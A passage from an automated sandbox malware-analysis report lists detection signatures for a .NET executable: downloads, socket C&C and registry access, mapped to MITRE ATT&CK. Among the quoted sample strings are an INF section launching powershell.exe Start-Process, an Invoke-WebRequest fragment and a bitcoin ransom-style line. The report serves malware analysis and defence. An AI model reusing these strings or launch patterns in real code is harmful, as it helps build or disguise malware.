Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"Found string \"\\r\\n [version]\\r\\n Signature=$chicago$\\r\\n AdvancedINF=2.5\\r\\n [DefaultInstall]\\r\\n CustomDestination=CustInstDestSectionAllUsers\\r\\n RunPreSetupCommands=RunPreSetupCommandsSection\\r\\n [RunPreSetupCommandsSection]\\r\\n powershell.exe \\\"Start-Process '\" (Indicator: \"Start-Process\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"), Found string \"Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall] CustomDestination=CustInstDestSectionAllUsers RunPreSetupCommands=RunPreSetupCommandsSection [RunPreSetupCommandsSection] powershell.exe \"Start-Process '\" (Indicator: \"Start-Process\"; File: \"00000000-00003440.00000002.75822.00F52000.00000020.mdmp\"), Found string \"powershell.exe \"Start-Process '\" (Indicator: \"Start-Process\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$39","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Dotnet source code contains suspicious native API","description":"Observed API \"LoadLibraryA\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed API \"GetProcAddress\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed API \"LoadLibrary\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed API \"MapVirtualKeyEx\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed API \"VirtualAllocEx\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-126","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"$3a","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Found WMI keywords in script (string)","description":"Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: 60008e0-_~_]\n Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp]\n Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp\n 00000000-00003440.00000001.73903.00F52000.00000020.mdmp\n 00000000-00003440.00000002.75822.00F52000.00000020.mdmp]","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-155","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3b","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0\" (Indicator: \"mozilla/5.0 (\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"Go to blockchain.com create a bitcoin wallet if you do not possess one already...\" (Indicator: \"blockchain.com\")\n \"o to blockchain.com create a bitcoin wallet if you do not possess one already...\" (Indicator: \"blockchain.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Loaded EXE module from outside of Windows folder","description":"\".exe\" loaded module \"C:\\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe\" at 00F50000\n \".exe\" loaded module \"C:\\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe\" at 004C0000","origin":"Loaded Module","mitre_attack_id":"T1574","relevance":1,"id":"module-13","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Loaded modules","description":"$3c","origin":"Loaded Module","mitre_attack_id":"T1574.002","id":"module-11","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"\".exe\" loaded module \"RPCRT4.DLL\" at base 76a30000","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\".exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 678E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\".exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 752F0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\".exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 68540000\n \".exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 68CF0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\".exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76A30000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\" was detected as \".NET\" and name: \"Library\"\n \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\" was detected as \"VB.NET\" and name: \"Compiler\"\n \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$3f","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x108200\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x1080d4\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"C:\\Windows\\System32\\query.exe\" [Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Allocates virtual memory in a self process","description":"\".exe\" allocated memory in \"C:\\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe\" with (Protection: \"read/write\")\n \".exe\" allocated memory in \"C:\\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe\" with (Protection: \"execute/read/write\")\n \".exe\" allocated memory in \"C:\\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe\" with (Protection: \"read/write, page guard\")","origin":"API Call","mitre_attack_id":"T1055","relevance":1,"id":"api-262","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to perform scheduled task-related activity (Powershell command string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":1,"id":"string-335","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\".exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$42","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$43","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve type of COM object\n Matched sigs: Possibly tries to implement anti-virtualization techniques\n Matched sigs: Found a reference to an external IP address lookup service","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$44","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\".exe\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll\"\n \".exe\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll\"\n \".exe\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll\"\n \".exe\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll\"\n \".exe\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\".exe\" trying to access non-existent file \"C:\\Windows\\SYSTEM32\\MSCOREE.DLL.local\"\n \".exe\" trying to access non-existent file \"C:\\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe.config\"\n \".exe\" trying to access non-existent file \"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Venombin\\\"\n \".exe\" trying to access non-existent file \"C:\\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.INI\"\n \".exe\" trying to access non-existent file \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\fusion.localgac\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate via sockets (Dotnet)","description":"$46","origin":"Static Parser","mitre_attack_id":"T1095","relevance":1,"id":"static-159","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (Dotnet)","description":"$47","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-158","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicates via socket (possible C&C communication)","description":"Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"BeginConnect\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"EndConnect\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"get_Connected\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"BeginReceive\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"EndReceive\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1071","relevance":1,"id":"static-151","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"URLDownloadToFile\" (Indicator: \"URLDownloadToFile\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"URLDownloadToFile\" (Indicator: \"URLDownload\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"URLDownloadToFile\" (Indicator: \"URLDownloadToFile\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found reference to API \"URLDownloadToFile\" (Indicator: \"URLDownload\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"\\\\\\\";Invoke-WebRequest -Uri \\\\\\\"\" (Indicator: \"Invoke-WebRequest\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"\";Invoke-WebRequest -Uri \\\"\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols (Dotnet)","description":"Observed namespace \"System.Net.Sockets\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed namespace \"System.Net.NetworkInformation\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed namespace \"System.Net\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed namespace \"System.Net.Security\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve list of TCP/UDP endpoints (API string)","description":"Found reference to API \"GetExtendedTcpTable\" (Indicator: \"GetExtendedTcpTable\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetExtendedTcpTable\" (Indicator: \"GetExtendedTcpTable\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-273","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set the value of an HTTP request header","description":"file/memory contains long string with (Indicator: \".setRequestHeader\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n file/memory contains long string with (Indicator: \".setRequestHeader\"; File: \"00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found string \"WinHttpReq.setRequestHeader \"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"\" (Indicator: \".setRequestHeader\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-623","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"$48","origin":"File/Memory","mitre_attack_id":"T1102.002","relevance":1,"id":"string-536","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]","description":"$49","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-618","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"Found reference to API \"GetRequestStream\" (Indicator: \"GetRequestStream\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetRequestStream\" (Indicator: \"GetRequestStream\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Found potential IP urls in memory dumps","description":"$4c","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-3","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4e","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://google.com\"\n Found HTTPS url \"https://geocoder.ca\"\n Found HTTPS url \"https://whatismyipaddress.com\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://127.0.0.1:4040\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically to used to retrieve file or directory information","description":"$4f","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-236","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to opens the access token associated with a process","description":"$50","origin":"API Call","mitre_attack_id":"T1134","relevance":1,"id":"api-196","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to opens the access token associated with a thread","description":"\".exe\" called \"NtOpenThreadToken\" with parameters {\"ThreadHandle\": \"4294967294\"\n \"DesiredAccess\": \"4\"\n \"OpenAsSelf\": \"1\"\n \"TokenHandle\": \"4294967295\"\n \"$status\": \"c000007c\"}\n \".exe\" called \"NtOpenThreadToken\" with parameters {\"ThreadHandle\": \"4294967294\"\n \"DesiredAccess\": \"12\"\n \"OpenAsSelf\": \"1\"\n \"TokenHandle\": \"0\"\n \"$status\": \"c000007c\"}\n \".exe\" called \"NtOpenThreadToken\" with parameters {\"ThreadHandle\": \"4294967294\"\n \"DesiredAccess\": \"8\"\n \"OpenAsSelf\": \"1\"\n 